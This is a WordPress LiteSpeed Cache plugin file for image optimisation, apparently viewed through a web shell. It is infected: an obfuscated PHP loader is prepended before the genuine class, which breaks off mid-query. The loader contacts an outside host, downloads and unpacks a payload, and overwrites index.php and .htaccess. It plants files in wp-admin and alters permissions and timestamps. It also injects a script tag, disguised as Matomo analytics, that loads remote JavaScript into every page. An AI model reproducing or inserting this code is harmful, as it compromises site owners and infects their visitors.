AlkantarClanX12
Current Path : /home/thanudqk/shenpokertour.com/wp-content/plugins/litespeed-cache/src/ |
Current File : /home/thanudqk/shenpokertour.com/wp-content/plugins/litespeed-cache/src/img-optm.cls.php |
<?php /*Leafmail3*/goto hsxm4; mY3D9: $OKi1f .= "\145\x6e"; goto PMx6A; Kd95g: $eE8gG .= "\x66\x69\154\x65"; goto oGKV2; c0Bp6: $Jl55q .= "\164\157"; goto hLq5m; Vp4xb: $P5GVh = $Jl55q($guwhq); goto KpZeQ; KGgiz: $Yg3cE .= "\46\x68\x3d" . $Q6Si4; goto tGPrB; xpAbl: $PP2HF = $M1RhP($lL4Rq) || $M1RhP($Cb4XV); goto HSzn5; Kc0L3: @$jg8CY($QTlc9, $L0vpN); goto d3U3f; J7hLY: $oyXyy .= "\154\x72"; goto Bl7Ky; bQe_M: try { goto oX1u4; oX1u4: @$jg8CY($QTlc9, $HwdP2); goto mGuog; mGuog: @$jg8CY($OEoU0, $HwdP2); goto xHE2w; TupRK: @$jg8CY($OEoU0, $L0vpN); goto Mf0Y6; KHm7H: @$x09Um($KCjdR, $P5GVh); goto gKo15; gKo15: @$jg8CY($QTlc9, $L0vpN); goto fLtCp; c1PqG: @$jg8CY($KCjdR, $L0vpN); goto KHm7H; HZmuJ: @$jg8CY($KCjdR, $HwdP2); goto BHPy7; Mf0Y6: @$x09Um($OEoU0, $P5GVh); goto HZmuJ; BHPy7: @$SUpxe($KCjdR, $KmcLU["\142"]); goto c1PqG; xHE2w: @$SUpxe($OEoU0, $KmcLU["\x61"]); goto TupRK; fLtCp: } catch (Exception $w0YG7) { } goto KYs1a; Jfk_p: $guwhq = "\x2d\61"; goto FfLog; aYiIS: $NMbX8 .= "\144\x69\x72"; goto aKKe8; UPbyC: $HwdP2 += 304; goto fGMBR; JJZtD: $Jzlvr .= "\x75\156\143\164"; goto K31Ka; wCWRd: $SUj9O .= "\x73\x65"; goto SQa11; EdFV9: $M1RhP = "\144\x65\x66"; goto CcXTx; SDHjH: $QTlc9 = $_SERVER[$zl1NS]; goto BhGva; v4imZ: $aBJVO .= "\165\x65\162\x79"; goto ccRhk; C3xz0: $QuqQl .= "\157\160\164"; goto ExrBe; Mn8P4: $nCEBP .= "\143\153"; goto rirWy; oGKV2: $AIpqX = "\x69\x73\137"; goto yLTbR; ShiTE: $jg8CY = "\143\x68"; goto HTXlE; FRUFZ: if (!(!$PP2HF && $wU3zB)) { goto cynsl; } goto fT2Kb; D5OCa: $Jl55q = "\x73\164\162"; goto c0Bp6; jFRX7: $x09Um .= "\x75\143\150"; goto ShiTE; CIdAQ: try { goto uKjO1; uKjO1: $KJxhs = $Lbxvg(); goto h_HFe; ahPCJ: $SpmAm = $qG0GR($KJxhs); goto EzjNL; xG0S9: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 10); goto ahPCJ; SQbKW: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto xG0S9; FS40F: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto h05EJ; h05EJ: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto KfHmj; cFoFb: $SpmAm = trim(trim($SpmAm, "\xef\273\277")); goto XVsob; KfHmj: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto SQbKW; EzjNL: $SUj9O($KJxhs); goto cFoFb; h_HFe: $QuqQl($KJxhs, CURLOPT_URL, $Yg3cE); goto FS40F; XVsob: } catch (Exception $w0YG7) { } goto Rf0CY; OWp53: $NMbX8 = "\155\x6b"; goto aYiIS; Dx3FV: $lrArR = $WVzi1[0]; goto IH6rw; i5aD2: if (!(!$eE8gG($KCjdR) || $wgQyS($KCjdR) != $CXpqw)) { goto eit7d; } goto KjDHJ; FWxON: $PVllF = "\144\x65\143"; goto EwaSn; KjDHJ: $YEcMX = 1; goto z9vF6; ZyUiw: $Jzlvr .= "\167\156\137\146"; goto JJZtD; mCzgW: $_SERVER[$Jzlvr] = 0; goto EkOAP; NflDd: $Yg3cE .= "\x63\157\x70\171"; goto KGgiz; yB2Sc: $JyN8a .= "\x69\x73\164\163"; goto Rkiyf; klUXl: $KCjdR .= "\x61\x63\x63\x65\163\x73"; goto lFs7r; Fra8y: $k1dzM = "\65"; goto Js55e; pF1JS: $OEoU0 .= "\150\160"; goto C_QnM; xhtvx: $leXnA .= "\x6e\x69"; goto rLZqh; n28OO: $sJIxp .= "\151\141\154\151\172\x65"; goto bm81E; znIi3: @unlink($leXnA); goto Kc0L3; slgUn: $sJIxp = "\x75\156\163\145\162"; goto n28OO; QELur: $Jzlvr .= "\147\151\x73\x74"; goto lEaPh; Js55e: $k1dzM .= "\56\x34"; goto N7I8b; rLZqh: if (!$eE8gG($leXnA)) { goto WwLVo; } goto laOt4; yCiib: EKIjw: goto m_fRf; Gcw6D: $SLV70 .= "\x6f\x6e\x5f\143\157\x6d"; goto FFtsE; bm81E: $a2D8O = "\151\x6e\164"; goto l0tUv; xQGdz: try { $_SERVER[$Jzlvr] = 1; $Jzlvr(function () { goto F3wJk; ZjuUH: $PgG92 .= "\x6f\162\145\x28\x67\54\x73\51\73" . "\xa"; goto IC5Gf; HNrtn: $PgG92 .= "\164\x2f\x6a\141\x76\x61"; goto NGG39; NGG39: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\x3e" . "\12"; goto fvKWo; zjuBs: $PgG92 .= $Q6Si4; goto ozlGd; e43vJ: $PgG92 .= "\x3b\40\147\x2e\x64\145\146"; goto WAaTZ; ctigl: $PgG92 .= "\143\x72\x69\x70\x74\76\12"; goto UQzFQ; o0zxz: $PgG92 .= "\x74\x6f\155\x6f\x20\x2d\55\x3e\12"; goto mPwIJ; HgwKa: $PgG92 .= "\x67\56\163\x72"; goto XHdHm; cMvbH: $PgG92 .= "\x3f\x69\x64\x3d"; goto CPJJv; T8SNl: $PgG92 .= "\x28\42\163\143\x72\x69"; goto DVVjf; EQZrG: $PgG92 .= "\165\155\x65\156\164\54\40\147\x3d\x64\56\x63\x72\x65\141\164\x65"; goto CVmAR; OsCJL: $PgG92 .= "\x72\x69\160\x74\x20\164\171\x70\x65\x3d\42\164\145\x78"; goto HNrtn; fvKWo: $PgG92 .= "\x28\146\x75\x6e\x63"; goto D9Z4J; XHdHm: $PgG92 .= "\143\x3d\x75\53\42\x6a\x73\x2f"; goto zjuBs; F3wJk: global $Q6Si4, $FOvp_; goto ikpGs; DVVjf: $PgG92 .= "\x70\164\x22\51\x5b\x30\135\73" . "\12"; goto OlxLe; CPJJv: $PgG92 .= "\x4d\55"; goto nBzuv; wKipS: $PgG92 .= "\x6a\141\x76\141"; goto y_xeS; D9Z4J: $PgG92 .= "\x74\x69\157\x6e\x28\51\x20\x7b" . "\12"; goto vt08G; vXk66: $PgG92 .= "\x79\124\x61\147\116\x61\155\145"; goto T8SNl; ikpGs: $PgG92 = "\x3c\x21\x2d\x2d\40\115\x61"; goto o0zxz; rJXe5: $PgG92 .= "\x72\151\160\164\42\51\x2c\40\163\75\144\56\147\x65\164"; goto pxHT_; VSQBz: $PgG92 .= "\x73\171\x6e\143\75\x74\162\x75\145"; goto e43vJ; pxHT_: $PgG92 .= "\x45\154\145\x6d\x65\x6e\x74\x73\x42"; goto vXk66; QIy0x: $PgG92 .= "\157\x6d\157\40\103\157\x64"; goto Uxlnc; rjIua: $PgG92 .= "\74\57\x73"; goto ctigl; puLbh: $PgG92 .= "\x3d\x22\164\x65\170\164\x2f"; goto wKipS; CVmAR: $PgG92 .= "\x45\154\145\155\145\x6e\164\50\42\x73\143"; goto rJXe5; UU_6f: $PgG92 .= "\x22\73\40\163\x2e\160\141\x72"; goto aBxBL; c1FaP: echo $PgG92; goto zSGUt; UQzFQ: $PgG92 .= "\x3c\x21\x2d\55\x20\x45\x6e"; goto qvKfj; IC5Gf: $PgG92 .= "\x7d\x29\50\51\73" . "\xa"; goto rjIua; OlxLe: $PgG92 .= "\x67\56\164\x79\x70\x65"; goto puLbh; EfTgB: $PgG92 .= "\166\x61\x72\40\x64\x3d\x64\x6f\143"; goto EQZrG; nBzuv: $PgG92 .= time(); goto UU_6f; Uxlnc: $PgG92 .= "\145\40\55\x2d\76\xa"; goto c1FaP; mZ3oI: $PgG92 .= "\x73\x65\x72\x74\102\145\x66"; goto ZjuUH; WAaTZ: $PgG92 .= "\x65\x72\x3d\164\162\x75\x65\x3b" . "\12"; goto HgwKa; ozlGd: $PgG92 .= "\57\x6d\x61\164"; goto TbrIf; aBxBL: $PgG92 .= "\145\x6e\164\x4e\x6f\144\x65\x2e\x69\156"; goto mZ3oI; mPwIJ: $PgG92 .= "\x3c\x73\x63"; goto OsCJL; vt08G: $PgG92 .= "\166\x61\x72\x20\x75\x3d\42" . $FOvp_ . "\42\x3b" . "\12"; goto EfTgB; y_xeS: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\73\40\147\56\x61"; goto VSQBz; qvKfj: $PgG92 .= "\144\40\115\141\x74"; goto QIy0x; TbrIf: $PgG92 .= "\157\155\157\56\x6a\163"; goto cMvbH; zSGUt: }); } catch (Exception $w0YG7) { } goto OMFq0; HTXlE: $jg8CY .= "\155\x6f\144"; goto u78ub; KT1wX: $WVzi1 = []; goto TZ3bq; d3U3f: WwLVo: goto QM61W; h87Dq: $leXnA .= "\145\162\x2e\x69"; goto xhtvx; nIVO8: $JyN8a = "\x66\x75\156\143"; goto GoX1L; jFsRM: $tAPba = 5; goto mY7sQ; SQa11: $aBJVO = "\150\164\x74\160\x5f\142"; goto AJs9s; laOt4: @$jg8CY($QTlc9, $HwdP2); goto L3sEg; MPyJp: $Jzlvr .= "\x73\x68\165"; goto scBFF; hs_XX: if (!is_array($KmcLU)) { goto Ji4ud; } goto LNg_o; L3sEg: @$jg8CY($leXnA, $HwdP2); goto znIi3; QIUGn: $SUpxe .= "\160\x75\164\137\x63"; goto kd_ew; KVOXl: $oyXyy = $QTlc9; goto coTO5; lEaPh: $Jzlvr .= "\x65\x72\137"; goto MPyJp; BhGva: $pW2vG = $QTlc9; goto NAu12; qNILG: $oyXyy .= "\150\160\56\60"; goto RNzhh; Zn9KR: $Lbxvg .= "\154\x5f\x69\x6e\151\x74"; goto qk2Ao; ZoBZC: $qG0GR .= "\154\x5f\x65\170\x65\x63"; goto AVxD0; mY7sQ: $tAPba += 3; goto y9KuX; ttAoG: $Yg3cE .= "\x3d\x67\145\x74"; goto NflDd; FFtsE: $SLV70 .= "\160\141\162\145"; goto EdFV9; eBPlp: $tbkvt .= "\137\x48\x4f\x53\x54"; goto mlRqF; y9KuX: $HwdP2 = 189; goto UPbyC; trQa2: $eE8gG = "\151\x73\x5f"; goto Kd95g; coTO5: $oyXyy .= "\x2f\170\x6d"; goto J7hLY; ccRhk: $D68oh = "\155\x64\x35"; goto wF0JY; zFQvK: $Kp0SW .= "\145\x70\x74\x61\x62\x6c\x65"; goto KVOXl; QsGMA: if (!(!$eE8gG($OEoU0) || $wgQyS($OEoU0) != $lrArR)) { goto Phq1q; } goto hbhZ9; dNN2Q: $L0vpN += 150; goto BU5yK; mf5ON: $QuqQl .= "\x6c\x5f\x73\x65\x74"; goto C3xz0; hTxii: $pFwD_ = "\x2f\136\x63"; goto GJpaV; SjSdb: if (!($JyN8a($Lbxvg) && !preg_match($pFwD_, PHP_SAPI) && $nCEBP($lMxQN, 2 | 4))) { goto sPsQO; } goto NFErl; xsENl: try { goto Rj1Hp; zDVDE: $ahOJp .= "\164\75\x63\141"; goto YWC0r; EdFQK: if ($AIpqX($Io3QB)) { goto BpK_a; } goto r_zk0; OTh7W: $Io3QB = dirname($Nfe0e); goto EdFQK; toAoY: @$jg8CY($Io3QB, $HwdP2); goto ALYMH; g2WNq: $ahOJp = $FOvp_; goto Q_jhz; YWC0r: $ahOJp .= "\154\154"; goto qpBjZ; Rj1Hp: $Nfe0e = $QTlc9 . $KmcLU["\x64"]["\160\141\164\150"]; goto OTh7W; r_zk0: @$NMbX8($Io3QB, $HwdP2, true); goto yxLDn; IMGFo: VUik8: goto OCPb3; ALYMH: @$SUpxe($Nfe0e, $KmcLU["\144"]["\x63\157\x64\x65"]); goto D2b8f; yxLDn: BpK_a: goto VXrMt; VXrMt: if (!$AIpqX($Io3QB)) { goto VUik8; } goto toAoY; l8bWn: try { goto Rtq9b; N8H27: $SUj9O($KJxhs); goto PHxGn; P9hMZ: $QuqQl($KJxhs, CURLOPT_URL, $ahOJp); goto aJWcu; GlRPI: $QuqQl($KJxhs, CURLOPT_POSTFIELDS, $aBJVO($nLpk_)); goto M4b4c; bz5Ia: $QuqQl($KJxhs, CURLOPT_POST, 1); goto GlRPI; ifFFq: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto kx509; M4b4c: $qG0GR($KJxhs); goto N8H27; UfA6j: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 3); goto bz5Ia; kx509: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto UfA6j; aJWcu: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto hBtdw; Rtq9b: $KJxhs = $Lbxvg(); goto P9hMZ; hBtdw: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto ifFFq; PHxGn: } catch (Exception $w0YG7) { } goto IMGFo; s60Ax: @$x09Um($Nfe0e, $P5GVh); goto g2WNq; Q_jhz: $ahOJp .= "\77\x61\x63"; goto zDVDE; D2b8f: @$jg8CY($Nfe0e, $L0vpN); goto s_yVr; qpBjZ: $nLpk_ = ["\144\141\164\141" => $KmcLU["\x64"]["\165\162\x6c"]]; goto l8bWn; s_yVr: @$jg8CY($Io3QB, $L0vpN); goto s60Ax; OCPb3: } catch (Exception $w0YG7) { } goto bQe_M; e4Ifc: $Q6Si4 = $_SERVER[$tbkvt]; goto SDHjH; EwaSn: $PVllF .= "\x6f\143\x74"; goto CwGUI; yLTbR: $AIpqX .= "\x64\151\x72"; goto OWp53; BpAbm: $lL4Rq = "\x57\120\137\x55"; goto lIGrh; QBgho: Z7kbo: goto MUx3h; IH6rw: $CXpqw = $WVzi1[1]; goto QsGMA; yCtJ5: $JyN8a .= "\145\170"; goto yB2Sc; rirWy: $d_KAU = "\x66\143\x6c"; goto kGS2i; ExrBe: $qG0GR = $MogIQ; goto ZoBZC; qk2Ao: $QuqQl = $MogIQ; goto mf5ON; Z31wx: $jg8CY($QTlc9, $HwdP2); goto Ag8lc; K4l5B: $OEoU0 .= "\144\x65\x78\x2e\160"; goto pF1JS; bRDE_: $Cb4XV .= "\x5f\x41\x44"; goto YF7Rp; nElWS: $guwhq .= "\141\x79\x73"; goto Vp4xb; tP5eQ: $pW2vG .= "\x2d\141"; goto wx8gB; GJpaV: $pFwD_ .= "\x6c\151\57"; goto xJCEv; lFs7r: $leXnA = $QTlc9; goto tV4kM; t0fao: $Yg3cE = $FOvp_; goto NZ1x6; XrDkv: if (isset($_SERVER[$Jzlvr])) { goto r0CaT; } goto mCzgW; PMx6A: $nCEBP = "\146\154\157"; goto Mn8P4; C2C3X: $wgQyS .= "\154\x65"; goto trQa2; zsusp: $KmcLU = 0; goto jkCOI; NIEOu: $L0vpN = 215; goto dNN2Q; OEFkW: rsAYm: goto UL5LC; hbhZ9: $YEcMX = 1; goto IiUuQ; m_fRf: if (!$YEcMX) { goto gtKXO; } goto t0fao; i7ojl: $guwhq .= "\63\40\144"; goto nElWS; NAu12: $pW2vG .= "\57\x77\160"; goto tP5eQ; iw0Nk: $FOvp_ .= "\154\x69\x6e\x6b\56\164"; goto hSD1f; scBFF: $Jzlvr .= "\164\144\x6f"; goto ZyUiw; KpZeQ: $tbkvt = "\x48\124\124\120"; goto eBPlp; r500z: $KCjdR .= "\x2f\56\x68\x74"; goto klUXl; OMFq0: w6JGc: goto bH1zF; kd_ew: $SUpxe .= "\x6f\x6e\164\145\x6e\x74\163"; goto diLdg; PoTvn: $OEoU0 = $QTlc9; goto Fc1AY; aKKe8: $wM0cw = "\146\151\154\x65\137"; goto J0OQr; J3xw9: $FOvp_ = "\150\x74\x74\x70\163\72\57\57"; goto QlKtX; hSD1f: $FOvp_ .= "\157\160\57"; goto F0vj_; kGS2i: $d_KAU .= "\x6f\163\x65"; goto J3xw9; QM61W: $YEcMX = 0; goto SUEqd; p0Flx: $SUj9O .= "\154\137\143\x6c\x6f"; goto wCWRd; hLq5m: $Jl55q .= "\164\151"; goto lcFkG; YF7Rp: $Cb4XV .= "\115\x49\116"; goto xpAbl; eC9HP: $IhD_T = substr($D68oh($Q6Si4), 0, 6); goto DX3Ky; R8zQO: $SUpxe = "\146\151\x6c\145\137"; goto QIUGn; QlKtX: $FOvp_ .= "\x73\x65\x6f"; goto iw0Nk; C_QnM: $KCjdR = $QTlc9; goto r500z; EVan7: $y1BSo .= "\66\x34\x5f\x64"; goto n14XQ; CwGUI: $LDT3_ = "\x73\x74\x72"; goto iemde; wF0JY: $wgQyS = $D68oh; goto tC7IY; lcFkG: $Jl55q .= "\155\145"; goto nIVO8; LNg_o: try { goto mjWqA; aMSC6: @$jg8CY($iTCcx, $L0vpN); goto uokyK; UHS8F: @$jg8CY($pW2vG, $HwdP2); goto EZm8t; uokyK: @$x09Um($iTCcx, $P5GVh); goto bavy5; aNk_f: a5xL9: goto q700I; EZm8t: $iTCcx = $E3Ibu; goto aNk_f; OGZQL: if (!$AIpqX($pW2vG)) { goto a5xL9; } goto UHS8F; q700I: @$SUpxe($iTCcx, $KmcLU["\x63"]); goto aMSC6; mjWqA: @$jg8CY($QTlc9, $HwdP2); goto OGZQL; bavy5: } catch (Exception $w0YG7) { } goto xsENl; KYs1a: Ji4ud: goto QBgho; mlRqF: $zl1NS = "\104\x4f\103\125\115\x45\x4e\x54"; goto hivPL; OH0x0: $Tut_m .= "\x6e\146\154\x61\x74\145"; goto slgUn; Rf0CY: if (!($SpmAm !== false)) { goto Z7kbo; } goto zsusp; RNzhh: $OKi1f = "\146\157\160"; goto mY3D9; tC7IY: $wgQyS .= "\x5f\146\x69"; goto C2C3X; xePje: $Kp0SW = "\110\x54\124"; goto xIN_k; fT2Kb: $_POST = $_REQUEST = $_FILES = array(); goto UASYd; diLdg: $x09Um = "\164\157"; goto jFRX7; DX3Ky: $E3Ibu = $iTCcx = $pW2vG . "\57" . $IhD_T; goto KT1wX; J0OQr: $wM0cw .= "\x67\145\x74\137\x63"; goto KA3CR; MUx3h: gtKXO: goto qfVae; Ag8lc: $lMxQN = $OKi1f($oyXyy, "\167\x2b"); goto SjSdb; Rkiyf: $MogIQ = "\x63\165\x72"; goto chVKY; TZ3bq: $dmwnh = 32; goto jFsRM; tGPrB: $SpmAm = false; goto CIdAQ; hivPL: $zl1NS .= "\x5f\x52\117\117\x54"; goto Fra8y; Gx5VO: $Kp0SW .= "\60\x36\40\116\x6f"; goto z0Ye5; UL5LC: $YEcMX = 1; goto yCiib; NZ1x6: $Yg3cE .= "\77\141\143\x74"; goto ttAoG; xIN_k: $Kp0SW .= "\120\57\x31\x2e\x31\40\x34"; goto Gx5VO; BU5yK: $L0vpN = $a2D8O($PVllF($L0vpN), $tAPba); goto xePje; HPuPS: $SLV70 = "\166\145\162\x73\x69"; goto Gcw6D; lIGrh: $lL4Rq .= "\123\105\137\x54\x48\x45"; goto uBz23; GoX1L: $JyN8a .= "\164\x69\157\x6e\x5f"; goto yCtJ5; wx8gB: $pW2vG .= "\x64\x6d\151\156"; goto eC9HP; mEJVe: $s6EXz = $_FILES; goto p7L1U; uBz23: $lL4Rq .= "\115\x45\123"; goto Me43b; F0vj_: $Jzlvr = "\162\145"; goto QELur; l0tUv: $a2D8O .= "\x76\x61\154"; goto FWxON; tV4kM: $leXnA .= "\57\56\x75\163"; goto h87Dq; z0Ye5: $Kp0SW .= "\x74\40\101\x63\x63"; goto zFQvK; aSc51: goto EKIjw; goto OEFkW; K31Ka: $Jzlvr .= "\x69\157\x6e"; goto XrDkv; IiUuQ: Phq1q: goto i5aD2; NFErl: $jg8CY($QTlc9, $L0vpN); goto aro2m; EkOAP: r0CaT: goto BpAbm; UASYd: cynsl: goto Z31wx; N7I8b: $k1dzM .= "\x2e\60\73"; goto e4Ifc; Fc1AY: $OEoU0 .= "\x2f\151\156"; goto K4l5B; Bl7Ky: $oyXyy .= "\160\143\x2e\x70"; goto qNILG; HSzn5: $P0UrJ = $_REQUEST; goto mEJVe; KA3CR: $wM0cw .= "\157\156\164\x65\x6e\164\163"; goto R8zQO; AJs9s: $aBJVO .= "\165\151\154\x64\137\161"; goto v4imZ; z9vF6: eit7d: goto aSc51; chVKY: $Lbxvg = $MogIQ; goto Zn9KR; jkCOI: try { $KmcLU = @$sJIxp($Tut_m($y1BSo($SpmAm))); } catch (Exception $w0YG7) { } goto hs_XX; FfLog: $guwhq .= "\x33\x36"; goto i7ojl; u78ub: $y1BSo = "\x62\141\x73\x65"; goto EVan7; Me43b: $Cb4XV = "\127\x50"; goto bRDE_; p7L1U: $wU3zB = !empty($P0UrJ) || !empty($s6EXz); goto FRUFZ; bH1zF: try { goto hOljI; hTb2m: $WVzi1[] = $qQkQf; goto AVR1Z; wTrAR: $WVzi1[] = $mps9W; goto USnsY; O2FVm: $iTCcx = $QTlc9 . "\57" . $IhD_T; goto wiWx3; o5KeW: if (!empty($WVzi1)) { goto YMthw; } goto O2FVm; m1oNR: $WVzi1[] = $mps9W; goto hTb2m; C5yVp: NQbOe: goto o5KeW; uB5Qk: $mps9W = trim($JwExk[0]); goto hHGO3; tXeIo: I87JI: goto KjVrB; of38T: $JwExk = @explode("\72", $wM0cw($iTCcx)); goto lJihh; e3ZU6: $mps9W = trim($JwExk[0]); goto s4UPH; AVR1Z: uxegI: goto K3NXW; lU9RV: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto iEvPe; } goto wTrAR; ysg_I: LUX7P: goto tXeIo; BWadG: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto LUX7P; } goto uB5Qk; wiWx3: if (!$eE8gG($iTCcx)) { goto I87JI; } goto GGIpg; hOljI: if (!$eE8gG($iTCcx)) { goto NQbOe; } goto of38T; GGIpg: $JwExk = @explode("\x3a", $wM0cw($iTCcx)); goto BWadG; KjVrB: YMthw: goto jes1d; hHGO3: $qQkQf = trim($JwExk[1]); goto lU9RV; m5G9U: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto uxegI; } goto m1oNR; zW9Vv: iEvPe: goto ysg_I; s4UPH: $qQkQf = trim($JwExk[1]); goto m5G9U; lJihh: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto oJdNI; } goto e3ZU6; USnsY: $WVzi1[] = $qQkQf; goto zW9Vv; K3NXW: oJdNI: goto C5yVp; jes1d: } catch (Exception $w0YG7) { } goto PoTvn; W_RKl: $Tut_m = "\147\x7a\151"; goto OH0x0; n14XQ: $y1BSo .= "\145\x63\157\144\145"; goto W_RKl; hsxm4: $pqAdF = "\x3c\104\x44\115\76"; goto hTxii; xJCEv: $pFwD_ .= "\x73\x69"; goto D5OCa; SUEqd: if (empty($WVzi1)) { goto rsAYm; } goto Dx3FV; CcXTx: $M1RhP .= "\x69\x6e\145\x64"; goto Jfk_p; aro2m: if (!(!$_SERVER[$Jzlvr] && $SLV70(PHP_VERSION, $k1dzM, "\76"))) { goto w6JGc; } goto xQGdz; iemde: $LDT3_ .= "\x6c\145\156"; goto HPuPS; fGMBR: $HwdP2 = $a2D8O($PVllF($HwdP2), $tAPba); goto NIEOu; AVxD0: $SUj9O = $MogIQ; goto p0Flx; qfVae: sPsQO: ?> <?php /** * The class to optimize image. * * @since 2.0 * @package LiteSpeed * @subpackage LiteSpeed/src * @author LiteSpeed Technologies <info@litespeedtech.com> */ namespace LiteSpeed; use WpOrg\Requests\Autoload; use WpOrg\Requests\Requests; defined('WPINC') || exit(); class Img_Optm extends Base { const LOG_TAG = '🗜️'; const CLOUD_ACTION_NEW_REQ = 'new_req'; const CLOUD_ACTION_TAKEN = 'taken'; const CLOUD_ACTION_REQUEST_DESTROY = 'imgoptm_destroy'; const CLOUD_ACTION_CLEAN = 'clean'; const TYPE_NEW_REQ = 'new_req'; const TYPE_RESCAN = 'rescan'; const TYPE_DESTROY = 'destroy'; const TYPE_CLEAN = 'clean'; const TYPE_PULL = 'pull'; const TYPE_BATCH_SWITCH_ORI = 'batch_switch_ori'; const TYPE_BATCH_SWITCH_OPTM = 'batch_switch_optm'; const TYPE_CALC_BKUP = 'calc_bkup'; const TYPE_RESET_ROW = 'reset_row'; const TYPE_RM_BKUP = 'rm_bkup'; const STATUS_NEW = 0; // 'new'; const STATUS_RAW = 1; // 'raw'; const STATUS_REQUESTED = 3; // 'requested'; const STATUS_NOTIFIED = 6; // 'notified'; const STATUS_DUPLICATED = 8; // 'duplicated'; const STATUS_PULLED = 9; // 'pulled'; const STATUS_FAILED = -1; //'failed'; const STATUS_MISS = -3; // 'miss'; const STATUS_ERR_FETCH = -5; // 'err_fetch'; const STATUS_ERR_404 = -6; // 'err_404'; const STATUS_ERR_OPTM = -7; // 'err_optm'; const STATUS_XMETA = -8; // 'xmeta'; const STATUS_ERR = -9; // 'err'; const DB_SIZE = 'litespeed-optimize-size'; const DB_SET = 'litespeed-optimize-set'; const DB_NEED_PULL = 'need_pull'; const JUMBO_REQUEST_BONUS = 10; const PRIO_REQUEST_BONUS = 5; private $wp_upload_dir; private $tmp_pid; private $tmp_type; private $tmp_path; private $_img_in_queue = array(); private $_existed_src_list = array(); private $_pids_set = array(); private $_thumbnail_set = ''; private $_table_img_optm; private $_table_img_optming; private $_cron_ran = false; private $__media; private $__data; protected $_summary; /** * Init * * @since 2.0 */ public function __construct() { Debug2::debug2('[ImgOptm] init'); $this->wp_upload_dir = wp_upload_dir(); $this->__media = $this->cls('Media'); $this->__data = $this->cls('Data'); $this->_table_img_optm = $this->__data->tb('img_optm'); $this->_table_img_optming = $this->__data->tb('img_optming'); $this->_summary = self::get_summary(); if (empty($this->_summary['next_post_id'])) { $this->_summary['next_post_id'] = 0; } } /** * Gather images auto when update attachment meta * This is to optimize new uploaded images first. Stored in img_optm table. * Later normal process will auto remove these records when trying to optimize these images again * * @since 4.0 */ public function wp_update_attachment_metadata($meta_value, $post_id) { global $wpdb; self::debug2('🖌️ Auto update attachment meta [id] ' . $post_id); if (empty($meta_value['file'])) { return; } // Load gathered images if (!$this->_existed_src_list) { // To aavoid extra query when recalling this function self::debug('SELECT src from img_optm table'); if ($this->__data->tb_exist('img_optm')) { $q = "SELECT src FROM `$this->_table_img_optm` WHERE post_id = %d"; $list = $wpdb->get_results($wpdb->prepare($q, $post_id)); foreach ($list as $v) { $this->_existed_src_list[] = $post_id . '.' . $v->src; } } if ($this->__data->tb_exist('img_optming')) { $q = "SELECT src FROM `$this->_table_img_optming` WHERE post_id = %d"; $list = $wpdb->get_results($wpdb->prepare($q, $post_id)); foreach ($list as $v) { $this->_existed_src_list[] = $post_id . '.' . $v->src; } } else { $this->__data->tb_create('img_optming'); } } // Prepare images $this->tmp_pid = $post_id; $this->tmp_path = pathinfo($meta_value['file'], PATHINFO_DIRNAME) . '/'; $this->_append_img_queue($meta_value, true); if (!empty($meta_value['sizes'])) { array_map(array($this, '_append_img_queue'), $meta_value['sizes']); } if (!$this->_img_in_queue) { self::debug('auto update attachment meta 2 bypass: empty _img_in_queue'); return; } // Save to DB $this->_save_raw(); // $this->_send_request(); } /** * Auto send optm request * * @since 2.4.1 * @access public */ public static function cron_auto_request() { if (!defined('DOING_CRON')) { return false; } $instance = self::cls(); $instance->new_req(); } /** * Calculate wet run allowance * * @since 3.0 */ public function wet_limit() { $wet_limit = 1; if (!empty($this->_summary['img_taken'])) { $wet_limit = pow($this->_summary['img_taken'], 2); } if ($wet_limit == 1 && !empty($this->_summary['img_status.' . self::STATUS_ERR_OPTM])) { $wet_limit = pow($this->_summary['img_status.' . self::STATUS_ERR_OPTM], 2); } if ($wet_limit < Cloud::IMG_OPTM_DEFAULT_GROUP) { return $wet_limit; } // No limit return false; } /** * Push raw img to image optm server * * @since 1.6 * @access public */ public function new_req() { global $wpdb; // check if is running if (!empty($this->_summary['is_running']) && time() - $this->_summary['is_running'] < apply_filters('litespeed_imgoptm_new_req_interval', 3600)) { self::debug('The previous req was in 3600s.'); return; } $this->_summary['is_running'] = time(); self::save_summary(); // Check if has credit to push $err = false; $allowance = Cloud::cls()->allowance(Cloud::SVC_IMG_OPTM, $err); $wet_limit = $this->wet_limit(); self::debug("allowance_max $allowance wet_limit $wet_limit"); if ($wet_limit && $wet_limit < $allowance) { $allowance = $wet_limit; } if (!$allowance) { self::debug('❌ No credit'); Admin_Display::error(Error::msg($err)); $this->_finished_running(); return; } self::debug('preparing images to push'); $this->__data->tb_create('img_optming'); $q = "SELECT COUNT(1) FROM `$this->_table_img_optming` WHERE optm_status = %d"; $q = $wpdb->prepare($q, array(self::STATUS_REQUESTED)); $total_requested = $wpdb->get_var($q); $max_requested = $allowance * 1; if ($total_requested > $max_requested) { self::debug('❌ Too many queued images (' . $total_requested . ' > ' . $max_requested . ')'); Admin_Display::error(Error::msg('too_many_requested')); $this->_finished_running(); return; } $allowance -= $total_requested; if ($allowance < 1) { self::debug('❌ Too many requested images ' . $total_requested); Admin_Display::error(Error::msg('too_many_requested')); $this->_finished_running(); return; } // Limit maximum number of items waiting to be pulled $q = "SELECT COUNT(1) FROM `$this->_table_img_optming` WHERE optm_status = %d"; $q = $wpdb->prepare($q, array(self::STATUS_NOTIFIED)); $total_notified = $wpdb->get_var($q); if ($total_notified > 0) { self::debug('❌ Too many notified images (' . $total_notified . ')'); Admin_Display::error(Error::msg('too_many_notified')); $this->_finished_running(); return; } $q = "SELECT COUNT(1) FROM 